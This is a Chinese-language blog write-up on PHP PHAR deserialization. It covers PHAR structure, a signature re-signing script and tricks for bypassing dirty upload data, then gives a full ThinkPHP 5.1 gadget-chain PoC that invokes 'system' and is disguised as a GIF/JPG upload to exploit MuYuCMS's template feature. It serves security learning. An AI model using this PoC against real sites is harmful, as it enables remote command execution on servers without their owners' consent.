这篇文章其实早就在写了,但不知为何其被我遗留在一个不为人知的的角落里,再不发出来就要发霉了。。。

由于phar遇到的很少,这里只是对其基础知识进行学习,网上有很多师傅更深入了解的文章,也是在这里埋个坑以后继续学习
在PHP中,PHAR(PHP Archive)是一种将多个PHP文件、资源(如图片、样式表)和元数据打包成单个文件的归档格式,类似于Java的JAR文件。它的主要目的是简化代码的分发和部署。
它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句
phar的文件结构
首先我们需要知道php是如何标识一个phar文件的,且是如何从一个phar中访问php文件

Stub(引导程序)
stub可以理解为一个phar文件的标识符,类似于可执行文件的“头部”,当直接运行phar时,PHP解释器会首先执行Stub中的代码
其本质上还是一个php文件,必须包含 __HALT_COMPILER();
语句,通常用于定义自定义的加载逻辑或显示帮助信息,例如
1 2 3 4 5
| <?php Phar::mapPhar(); require "phar://". __FILE__ ."/file.php"; __HALT_COMPILER(); ?>
|
当我们直接执行这个phar文件时,它可以直接指定要访问的php文件

Manifest(元数据清单)
以二进制结构记录PHAR中所有文件的元信息,包括:
- 文件名、文件大小、时间戳。
- 文件权限、压缩类型(如Gzip/Bzip2)。
- 用户自定义的元数据(通过
setMetadata()
存储的序列化数据)
因此这里也是反序列化的攻击点
Contents(文件内容)
实际存储PHAR中包含的所有文件数据,通过 phar://
流包装器访问
Signature(签名)
验证PHAR文件的完整性和来源真实性,防止篡改
1 2 3 4 5
| 01 -> MD5 02 -> SHA1 03 -> SHA256 04 -> SHA512 10 -> OPENSSL
|

使用PHP的Phar类提供的API进行修改时,签名会自动更改,PHP在加载phar文件时会验证签名,若会签名不匹配则会拒绝加载

构造payload
自定义meta-data
写入manifest
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class AAA { public $a = "hello"; function __wakeup() { eval($this->a); } }
$test = new AAA(); $test->a = "phpinfo();";
$phar_test = new Phar('test.phar'); $phar_test->startBuffering(); $phar_test->setMetadata($test); $phar_test->setStub("<?php __HALT_COMPILER();?>"); $phar_test->addFromString("test.php","test"); $phar_test->stopBuffering(); ?>
|
假设目标存在
1 2 3 4 5 6 7 8 9 10 11
| <?php class AAA{ public $a="hello"; function __wakeup() { eval($this->a); } } $phardemo = file_get_contents('phar://test.phar/test.php'); echo $phardemo; ?>
|

值得一提的是,整个过程其实是基于目标系统原有的类定义来构造payload的,同时该服务器上的php.ini
设置需要phar.readonly = Off
,最重要的是巧妙利用魔术方法来配合反序列化
一些绕过技巧
重签名
正如上述所说,如果修改文件内容会使得签名不一致,但我们可以通过winhex得知该phar文件的签名类型,从而在更改文件内容的情况下进行重签名
1 2 3 4 5 6 7
| from hashlib import sha1 with open('example.phar', 'rb') as file: f = file.read() data = f[:-28] sign = f[-8:] with open('test.phar', 'wb') as file: file.write(data + sha1(data).digest() + sign)
|
这里我将e
改为c


文件头有脏数据
大概的场景是这样的:服务器将你成功上传的phar文件前加上脏数据,可能是日志时间啥的,因为签名这个过程是发生在签名后的,所以此时你想加载phar文件显然是不行的
因为签名不匹配,需要注意的是,php在加载phar文件时是会忽略签名的脏数据的,只会从文件头<?php __HALT_COMPILER();?>
开始解析,但前提是需要一个包含脏数据的签名
假设服务器对你刚上传的文件有如下处理,并且你以某种手段知道具体脏数据值
1 2 3 4 5 6 7 8 9 10 11
| <?php function prepend_to_file($file_path, $data) { $current_content = file_get_contents($file_path); $new_content = $data . $current_content; file_put_contents($file_path, $new_content); }
$file_path = 'test.phar'; $data_to_prepend = "[2025-05-20] Uploaded"; prepend_to_file($file_path, $data_to_prepend); ?>
|
此时文件无法加载,因为签名不匹配

绕过方法就是包含脏数据重新生成phar文件,此时计算签名会包含它
1
| $phar_test->setStub("[2025-05-20] Uploaded<?php __HALT_COMPILER();?>");
|
然后通过winhex删除掉


届时我们在上传就可以成功加载了,因为php检查时会发现此时计算的签名是包含日期的

文件尾部的脏数据


此时是无法解析的,但我们可以用tar文件后缀,因为tar存在TAR结束块,解析器在此会停止读取

值得一提的是,phar伪协议不仅可以加载phar后缀文件,常见的压缩文件都可以
1 2 3 4 5 6 7 8
| .phar(标准格式) .phar.gz(gzip压缩) .phar.bz2(bzip2压缩) .phar.tar(tar格式) .phar.tar.gz(tar+gzip) .phar.tar.bz2(tar+bzip2) .phar.zip(zip格式) 前缀.phar可去掉
|
需要找到一些可加载文件的函数,同时这个路径是我们可控的

全局搜索is_dir
,在Template.php
中

在模板管理的自定义单页中找到

根据ThinkPHP的路由规则,默认的URL访问规则是
1
| http://站点/index.php/模块/控制器/操作
|
因此
1
| http://站点/admin.php/Template/cutformadd
|

找到了加载利用处,我们需要上传phar文件(当然显然不存在,不然直接上传php马了)
ThinkPHP5.1反序列化
因为MuYuCMS是基于ThinkPHP5.1版本的,这里需要借助ThinkPHP 5.1.x 反序列化漏洞,可以看看我写的这篇文章
而我们是通过phar的方式去加载,因此只需要改造一下
完整Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php namespace think{ abstract class Model { protected $append = []; private $data = []; public function __construct() { $this->append = ["Qu43ter"=>["1"]]; $this->data = ["Qu43ter"=>new Request()]; } } }
namespace think{ class Request { protected $hook = []; protected $filter = "system"; protected $config = []; function __construct(){ $this->hook = ["visible"=>[$this,"isAjax"]]; $this->filter = "system"; $this->config = ['var_ajax'=>'',]; } } }
namespace think\process\pipes{ use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files = [new Pivot()]; } } }
namespace think\model{ use think\Model; class Pivot extends Model {
} }
namespace { use think\process\pipes\Windows; $phar_test = new Phar("test.phar"); $phar_test->startBuffering(); $phar_test->setMetadata(new Windows()); $phar_test->setStub("GIF89a" . "<?php __HALT_COMPILER();?>"); $phar_test->addFromString("test.php","test"); $phar_test->stopBuffering(); echo (base64_encode(serialize(new Windows()))); } ?>
|
之后我们将其后缀改为jpg(即使改成jpg后缀,文件的内容实际上仍然是Phar格式,只是通过改变扩展名来绕过一些文件上传限制)

参考文章:
Phar反序列化学习 - Zh1z3ven
Phar反序列化及其一系列的奇技淫巧 - Boogiepop Doesn’t Laugh
站点中的Phar反序列化漏洞